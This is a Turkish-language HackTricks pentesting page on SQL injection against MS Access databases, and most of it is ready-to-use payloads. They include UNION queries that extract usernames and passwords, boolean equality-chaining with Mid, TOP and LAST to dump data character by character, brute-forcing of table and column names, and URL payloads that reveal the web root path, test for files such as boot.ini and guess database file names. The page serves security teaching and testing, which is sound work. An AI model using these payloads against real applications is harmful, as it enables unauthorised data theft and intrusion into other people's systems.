hacktricks/pentesting-web/sql-injection/ms-access-sql-injection.md
2024-02-10 18:14:16 +00:00

10 KiB
Raw Blame History

MS Access SQL Injection

AWS hackleme becerilerinizi sıfırdan kahraman seviyesine çıkarın htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile!

HackTricks'ı desteklemenin diğer yolları:

Çevrimiçi Oyun Alanı

DB Sınırlamaları

Dize Birleştirme

Dize birleştirme işlemi & (%26) ve + (%2b) karakterleriyle mümkündür.

1' UNION SELECT 'web' %2b 'app' FROM table%00
1' UNION SELECT 'web' %26 'app' FROM table%00

Yorumlar

MS Access'te yorumlar bulunmamaktadır, ancak görünüşe göre bir sorgunun sonunu NULL karakteriyle kaldırmak mümkündür:

1' union select 1,2 from table%00

Eğer bu çalışmıyorsa, her zaman sorgunun sözdizimini düzeltebilirsiniz:

1' UNION SELECT 1,2 FROM table WHERE ''='

Yığılmış Sorgular

Desteklenmezler.

LIMIT

LIMIT operatörü uygulanmamıştır. Bununla birlikte, TOP operatörünü kullanarak SELECT sorgusu sonuçlarını ilk N tablo satırıyla sınırlamak mümkündür. TOP, döndürülecek satır sayısını temsil eden bir tamsayıyı argüman olarak kabul eder.

1' UNION SELECT TOP 3 attr FROM table%00

TOP gibi LAST kullanabilirsiniz, bu da sondaki satırları alır.

UNION Sorguları/Alt sorgular

SQLi'da genellikle başka tablolardan bilgi çıkarmak için yeni bir sorgu yürütmek istersiniz. MS Access her zaman alt sorgularda veya ek sorgularda bir FROM belirtilmesini gerektirir.
Bu nedenle, bir koşulda UNION SELECT veya UNION ALL SELECT veya parantez içinde bir SELECT yürütmek istiyorsanız, her zaman geçerli bir tablo adıyla bir FROM belirtmeniz gerekir.
Bu nedenle, bir geçerli tablo adı bilmelisiniz.

-1' UNION SELECT username,password from users%00

Eşitlik Zincirleme + Alt Dize

{% hint style="warning" %} Bu, tablonun adını bilmeye gerek duymadan mevcut tablonun değerlerini dışarı çıkarmanıza olanak sağlar. {% endhint %}

MS Access, '1'=2='3'='asd'=false gibi garip sözdizimine izin verir. Genellikle SQL enjeksiyonu bir WHERE ifadesi içinde olacağından, bunu istismar edebiliriz.

Bir MS Access veritabanında SQLi olduğunu ve bir sütun adının kullanıcı adı olduğunu bildiğinizi (veya tahmin ettiğinizi) varsayalım ve dışarı çıkarmak istediğiniz alan budur. Eşitlik zincirleme tekniği kullanıldığında web uygulamasının farklı yanıtlarını kontrol edebilir ve Mid işlevini kullanarak alt dizeleri alarak içeriği potansiyel olarak dışarı çıkarabilirsiniz.

'=(Mid(username,1,3)='adm')='

Eğer dökülecek tablonun ve sütunun adını biliyorsanız, boolean SQLi aracılığıyla tüm bilgileri sızdırmak için Mid, LAST ve TOP arasında bir kombinasyon kullanabilirsiniz:

'=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')='

Online oyun alanında bunu kontrol etmekten çekinmeyin.

Tablo İsimlerini Kaba Kuvvet Yöntemiyle Bulma

Zincirleme eşitlik tekniğini kullanarak aşağıdaki gibi bir şeyle de tablo isimlerini kaba kuvvet yöntemiyle bulabilirsiniz:

'=(select+top+1+'lala'+from+<table_name>)='

Ayrıca daha geleneksel bir yöntem de kullanabilirsiniz:

-1' AND (SELECT TOP 1 <table_name>)%00

Online oyun alanında bunu kontrol etmekten çekinmeyin.

Sütun Adlarını Kaba Kuvvet Yöntemiyle Bulma

Mevcut sütun adlarını eşitlik zinciri hilesiyle kaba kuvvet yöntemiyle bulabilirsiniz.

'=column_name='

Veya bir group by ile:

-1' GROUP BY column_name%00

Veya farklı bir tablonun sütun isimlerini brute-force yöntemiyle deneyebilirsiniz:

'=(SELECT TOP 1 column_name FROM valid_table_name)='

-1' AND (SELECT TOP 1 column_name FROM valid_table_name)%00

Veri dökümü

Zaten eşitlik zinciri tekniğini mevcut ve diğer tablolardan veri dökümlemek için tartıştık. Ancak başka yollar da vardır:

IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')

Kısacası, sorgu başarılı olduğunda "200 OK" tetiklemek için bir "if-then" ifadesi kullanır veya aksi halde "500 Internal Error" tetikler. TOP 10 operatöründen faydalanarak ilk on sonucu seçmek mümkündür. LAST'in ardından kullanılan, sadece 10. tuple'ı dikkate almayı sağlar. Bu değeri kullanarak MID operatörü kullanarak basit bir karakter karşılaştırması yapılabilir. MID ve TOP'un dizinini uygun şekilde değiştirerek, tüm satırlar için "username" alanının içeriğini alabiliriz.

Zaman Temelli

https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)?redirectedfrom=MSDN adresinde kontrol edin.

Diğer İlginç fonksiyonlar

  • Mid('admin',1,1) 1. pozisyondan 1 uzunluğunda alt dize alır (başlangıç pozisyonu 1'dir)
  • LEN('1234') dizenin uzunluğunu alır
  • ASC('A') karakterin ascii değerini alır
  • CHR(65) ascii değerinden dize alır
  • IIF(1=1,'a','b') eğer sonra
  • COUNT(*) Öğe sayısını sayar

Tabloları Numaralandırma

Buradan tablo isimlerini almak için bir sorgu görebilirsiniz:

select MSysObjects.name
from MSysObjects
where
MSysObjects.type In (1,4,6)
and MSysObjects.name not like '~*'
and MSysObjects.name not like 'MSys*'
order by MSysObjects.name

Ancak, SQL Enjeksiyonlarına MSysObjects tablosunu okuma erişiminizin olmadığı durumlar çok yaygındır.

Dosya Sistemi Erişimi

Web Kök Dizin Tam Yolu

Web kök dizininin mutlak yolunu bilmek, daha fazla saldırıyı kolaylaştırabilir. Uygulama hataları tamamen gizlenmediyse, dizin yolunu ortaya çıkarmak için mevcut olmayan bir veritabanından veri seçmeye çalışarak bulunabilir.

http://localhost/script.asp?id=1'+'+UNION+SELECT+1+FROM+FakeDB.FakeTable%00

MS Access, web dizini tam yolunu içeren bir hata mesajıyla yanıt verir.

Dosya Numaralandırma

Aşağıdaki saldırı vektörü, uzak dosya sisteminde bir dosyanın varlığını çıkarabilir. Belirtilen dosya varsa, MS Access, veritabanı formatının geçersiz olduğunu bildiren bir hata mesajı tetikler:

http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00

Dosyaların numaralandırılması için başka bir yol, bir veritabanı.tablo öğesi belirtmektir. Belirtilen dosya varsa, MS Access, bir veritabanı formatı hatası mesajı görüntüler.

http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\boot.ini.TableName%00

.mdb Dosya Adı Tahmini

Veritabanı dosya adı (.mdb) aşağıdaki sorgu ile tahmin edilebilir:

http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00

Burada name[i] bir .mdb dosya adıdır ve realTable veritabanında mevcut bir tablodur. MS Access her zaman bir hata mesajı tetikleyeceği için, geçersiz bir dosya adı ile geçerli bir .mdb dosya adı arasında ayrım yapmak mümkündür.

.mdb Şifre Kırıcı

Access PassView, Microsoft Access 95/97/2000/XP veya Jet Database Engine 3.0/4.0'in ana veritabanı şifresini kurtarmak için kullanılan ücretsiz bir araçtır.

Referanslar

htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahraman olmak için AWS hackleme öğrenin!

HackTricks'ı desteklemenin diğer yolları: